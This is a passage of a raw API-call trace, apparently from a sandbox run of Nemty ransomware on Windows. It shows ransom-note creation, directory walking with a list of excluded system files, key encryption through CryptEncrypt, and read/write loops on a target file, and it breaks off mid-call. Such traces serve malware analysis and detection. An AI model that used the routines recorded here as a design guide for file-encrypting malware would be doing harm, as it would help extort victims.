CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0151.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0151.708] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.708] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0151.709] CloseHandle (hObject=0x254) returned 1 [0151.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0151.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0151.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0151.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0151.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0151.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0151.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0151.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0151.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0151.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0151.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0151.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340188 [0151.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0151.709] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0151.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0151.710] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.710] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0151.711] CloseHandle (hObject=0x254) returned 1 [0151.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0151.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0151.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400d0 [0151.711] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe0fff30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xe0fff30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0151.711] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0151.711] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe0fff30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xe0fff30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.711] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0151.711] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0151.711] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37179769, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x37179769, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x37179769, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="(120DPI)alertIcon.png", cAlternateFileName="")) returned 1 [0151.711] lstrcmpiW (lpString1="(120DPI)alertIcon.png", lpString2=".") returned -1 [0151.711] lstrcmpiW (lpString1="(120DPI)alertIcon.png", lpString2="..") returned -1 [0151.712] lstrcmpiW (lpString1="(120DPI)alertIcon.png", lpString2="...") returned -1 [0151.712] lstrcmpiW (lpString1="(120DPI)alertIcon.png", lpString2="windows") returned -1 [0151.712] lstrcmpiW (lpString1="(120DPI)alertIcon.png", lpString2="$RECYCLE.BIN") returned 1 [0151.712] lstrcmpiW (lpString1="(120DPI)alertIcon.png", lpString2="rsa") returned -1 [0151.712] lstrcmpiW (lpString1="(120DPI)alertIcon.png", lpString2="NTDETECT.COM") returned -1 [0151.712] lstrcmpiW (lpString1="(120DPI)alertIcon.png", lpString2="ntldr") returned -1 [0151.712] lstrcmpiW (lpString1="(120DPI)alertIcon.png", lpString2="MSDOS.SYS") returned -1 [0151.712] lstrcmpiW (lpString1="(120DPI)alertIcon.png", lpString2="IO.SYS") returned -1 [0151.712] lstrcmpiW (lpString1="(120DPI)alertIcon.png", lpString2="boot.ini") returned -1 [0151.712] lstrcmpiW (lpString1="(120DPI)alertIcon.png", lpString2="boot.ini") returned -1 [0151.712] lstrcmpiW (lpString1="(120DPI)alertIcon.png", lpString2="AUTOEXEC.BAT") returned -1 [0151.712] lstrcmpiW (lpString1="(120DPI)alertIcon.png", lpString2="ntuser.dat") returned -1 [0151.712] lstrcmpiW (lpString1="(120DPI)alertIcon.png", lpString2="desktop.ini") returned -1 [0151.712] lstrcmpiW (lpString1="(120DPI)alertIcon.png", lpString2="CONFIG.SYS") returned -1 [0151.712] lstrcmpiW (lpString1="(120DPI)alertIcon.png", lpString2="RECYCLER") returned -1 [0151.712] lstrcmpiW (lpString1="(120DPI)alertIcon.png", lpString2="BOOTSECT.BAK") returned -1 [0151.712] lstrcmpiW (lpString1="(120DPI)alertIcon.png", lpString2="bootmgr") returned -1 [0151.712] lstrcmpiW (lpString1="(120DPI)alertIcon.png", lpString2="programdata") returned -1 [0151.712] lstrcmpiW (lpString1="(120DPI)alertIcon.png", lpString2="appdata") returned -1 [0151.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0151.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)alertIcon.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0151.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)alertIcon.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(120DPI)alertIcon.png", lpUsedDefaultChar=0x0) returned 21 [0151.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0151.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)alertIcon.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0151.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)alertIcon.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(120DPI)alertIcon.png", lpUsedDefaultChar=0x0) returned 21 [0151.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0151.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0151.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0151.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)alertIcon.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0151.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)alertIcon.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(120DPI)alertIcon.png", lpUsedDefaultChar=0x0) returned 21 [0151.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0151.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0151.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)alertIcon.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0151.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0151.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(120DPI)alertIcon.png", cchWideChar=21, lpMultiByteStr=0x4f9ed58, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(120DPI)alertIcon.png", lpUsedDefaultChar=0x0) returned 21 [0151.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0151.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340178 [0151.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0151.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0151.713] Sleep (dwMilliseconds=0x5) [0151.723] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xe14c1f0, dwHighDateTime=0x1d561e8)) [0151.723] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xe14c1f0, dwHighDateTime=0x1d561e8)) [0151.723] GetLastError () returned 0xb7 [0151.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0151.723] GetLastError () returned 0xb7 [0151.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0151.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0151.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0151.724] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0151.724] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0151.724] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0151.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340308 [0151.724] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340308, pcchString=0x653e5dc | out: pszString="lH9xW9pMogoiJV4SRYr68HjR5jZnWcTcHI30gG9769Q7g8DjME0GEPioud9icA0w\r\nkYfAiGh8blzwB6D0JsG5nEggMNz3u7fYZojHPh4UziXsfvOYCwyxcdVfbp0pJsBi\r\nWZLGcD5yTV61TySJUkK9n17STgowc9WRVuUKGg23rGUOBEfv3bBcTVlqvh+862/P\r\nF+NE/cgoj+PRrY2vq+lL1MNkO69E6qeJCdhYhGYqz8/O9HG0j/rldR9J3+jA0HoT\r\nPpdnkVDyNp4wWNimv6ZYepjXh20x0D9ApGgl86Xr/dIRB4fqgXcj+tiBbPhtmKIo\r\nPVxN6gsSpV9C81U9J6r8Sg==\r\n", pcchString=0x653e5dc) returned 1 [0151.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0151.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0151.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0151.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0151.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340308 [0151.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0151.724] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)alertIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)alerticon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.725] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0151.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0151.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.725] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.734] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.734] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.743] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.743] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.752] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.752] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.752] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.752] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.761] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.761] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.761] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.761] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.775] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.775] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.775] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.775] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.784] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.784] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.784] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.784] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.793] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.793] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.793] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.794] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.803] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.803] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.803] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.803] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.812] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.812] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.821] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.821] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.827] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.827] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.827] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.827] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0151.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.833] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0151.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.833] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340308, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, 